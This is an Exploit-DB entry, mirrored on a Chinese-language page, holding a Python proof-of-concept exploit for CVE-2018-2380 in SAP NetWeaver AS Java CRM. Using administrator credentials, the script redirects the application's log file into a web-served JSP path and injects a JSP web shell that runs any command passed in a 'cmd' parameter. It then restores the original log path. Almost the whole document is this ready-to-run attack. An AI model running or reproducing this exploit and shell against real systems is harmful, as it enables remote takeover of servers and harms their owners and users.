SAP NetWeaver AS JAVA CRM – Log injection Remote Command Execution

  • 作者: erp scan team
    日期: 2018-03-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44292/
  • #!/usr/bin/env python
    import argparse
    import urllib
    
    import requests, random
    from bs4 import BeautifulSoup
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    help_desc = '''
    PoC of Remote Command Execution via Log injection on SAP CRM
    -- ERPScan
    
    python crm_rce.py --ssl --host 127.0.0.1 --port 50000 --username administrator --password 06071992 --SID DM0 --ssl true
    '''
    baner = '''
     ___________________________________________
    (____ \(____ )(____ )(____ \(____ \(___)( (/|
    | (\/| ()|| ()|| (\/| (\/| ( ) ||\( |
    | (__| (____)|| (____)|| (_____ | || (___) || \ | |
    |__) | __)|_____)(_____)| ||___|| (\ \) |
    | (| (\ ( | () || || ( ) || | \ |
    | (____/\| ) \ \__| )/\____) || (____/\| ) ( || )\|
    (_______/|/ \__/|/ \_______)(_______/|/ \||/)_)
    Vahagn @vah_13 Vardanian
    Bob @NewFranny
    CVE-2018-2380
    
    '''
    
    
    def start(ip, port, username, password, sid, ssl):
    if ssl == None:
    base_scheme = 'http'
    else:
    base_scheme = 'https'
    req_adapter = requests.session()
    _server_ip_port = "{0}:{1}".format(ip, port)
    _username = username
    admin_password = password
    _headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer": "{0}://{1}/b2b/admin/logging.jsp?location=com.sap.isa&mode=edit&index=1".format(
    base_scheme,_server_ip_port)
    }
    
    # shell name
    _shell_name = "ERPScan_shell_{0}".format(random.randint(1337, 31337))
    
    # shell_code
    shell_code = '''
    <%@ page import="java.util.*,java.io.*"%>
    <% 
    if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
     }
    }
    %>
    '''
    # urls variables
    _irj_portal = "{0}://{1}/irj/portal".format(base_scheme,_server_ip_port)
    _b2b_admin_url = "{0}://{1}/b2b/admin/index.jsp".format(base_scheme,_server_ip_port)
    _url_of_log_path = "{0}://{1}/b2b/admin/logging.jsp".format(base_scheme,_server_ip_port)
    _url_write_shell_to_log_file = "{0}://{1}/b2b/init.do?\"%22]{2}[%22\"".format(base_scheme,_server_ip_port,urllib.quote_plus(shell_code))
    
    # data variable
    _post_data_restore_log_path = {"selConfigName": "com.sap.isa",
     "selSeverity": "0",
     "selDest": "./default_log_name.log",
     "selLimit": "10485760",
     "selCount": "20",
     "selFormatterType": "ListFormat",
     "selPattern": "none",
     "mode": "save",
     "selLocationIdx": "1"}
    _post_data_to_change_log_path = {"selConfigName": "com.sap.isa",
     "selSeverity": "0",
     "selDest": "C:\\usr\\sap\\{0}\\J00\\j2ee\\cluster\\apps\\sap.com\\com.sap.engine.docs.examples\\servlet_jsp\\_default\\root\\{1}.jsp".format(sid, _shell_name),
     "selLimit": "10485760",
     "selCount": "20",
     "selFormatterType": "ListFormat",
     "selPattern": "none",
     "mode": "save",
     "selLocationIdx": "1"}
    
    print("{0} \n[!] Try to get RCE using log injection ".format(baner))
    
    print("[!] Get j_salt token for requests")
    res = requests.get(_irj_portal, headers=_headers, verify=False)
    soup = BeautifulSoup(res.text, "html.parser")
    e = soup.find("input", {"name": "j_salt"})
    __j_salt = e['value']
    
    print("[!] Login to the SAP portal")
    req_adapter.post(_b2b_admin_url,
     headers=_headers,
     data={"login_submit": "on", "login_do_redirect": "1", "j_salt": __j_salt,
     "j_username": "{0}".format(_username), "j_password": "{0}".format(admin_password),
     "uidPasswordLogon": "Log On"}, verify=False)
    
    print("[!] Change log path ")
    req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_to_change_log_path)
    
    print("[!] Upload \"Runtime.getRuntime().exec(request.getParameter(\"cmd\")) \" shell to {0}://{1}/{2}.0.jsp?cmd=ipconfig".format(base_scheme,_server_ip_port, _shell_name))
    req_adapter.get(_url_write_shell_to_log_file, headers=_headers)
    
    print("[!] Restore logs path to ./default_log_name.log")
    req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_restore_log_path)
    
    print("[!] Enjoy!")
    
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP host to send requests to')
    parser.add_argument('-p', '--port', default=50000, type=int, help='SAP host port')
    
    parser.add_argument('-u', '--username', help='SAP CRM administrator')
    parser.add_argument('-pwd', '--password', help='SAP CRM administrator password')
    
    parser.add_argument('-s', '--SID', help='SAP SID')
    parser.add_argument('-S', '--ssl', help='Use ssl connection')
    
    args = parser.parse_args()
    args_dict = vars(args)
    
    host = args_dict['host']
    port = args_dict['port']
    username = args_dict['username']
    password = args_dict['password']
    sid = args_dict['SID']
    ssl = args.ssl
    start(host, port, username, password, sid, ssl)